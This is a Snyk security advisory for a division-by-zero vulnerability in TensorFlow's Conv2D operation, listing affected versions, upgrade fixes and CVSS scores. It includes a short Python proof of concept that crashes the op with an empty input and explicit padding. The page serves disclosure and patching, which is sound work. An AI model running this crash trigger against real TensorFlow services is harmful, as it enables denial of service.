Division by zero Affecting tensorflow package, versions [,2.7.2) [2.8.0,2.8.1) [2.9.0,2.9.1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    EPSS
    0.08% (37th percentile)

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  • Snyk ID SNYK-PYTHON-TENSORFLOW-3026788
  • published 18 Sep 2022
  • disclosed 18 Sep 2022
  • credit Unknown

How to fix?

Upgrade tensorflow to version 2.7.2, 2.8.1, 2.9.1 or higher.

Overview

tensorflow is a machine learning framework.

Affected versions of this package are vulnerable to Division by zero when Conv2D is given empty input and the filter and padding sizes are valid, the output is all-zeros.

PoC:

import tensorflow as tf
import numpy as np
with tf.device("CPU"): # also can be triggerred on GPU
   input = np.ones([1, 0, 2, 1])
   filter = np.ones([1, 1, 1, 1])
   strides = ([1, 1, 1, 1])
   padding = "EXPLICIT"
   explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0]
   data_format = "NHWC"
   res = tf.raw_ops.Conv2D(
       input=input,
       filter=filter,
       strides=strides,
       padding=padding,
        explicit_paddings=explicit_paddings,
       data_format=data_format,
  )

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
5.5 medium
  • Attack Vector (AV)
    Local
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    Required
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    High
Expand this section

NVD

7.5 high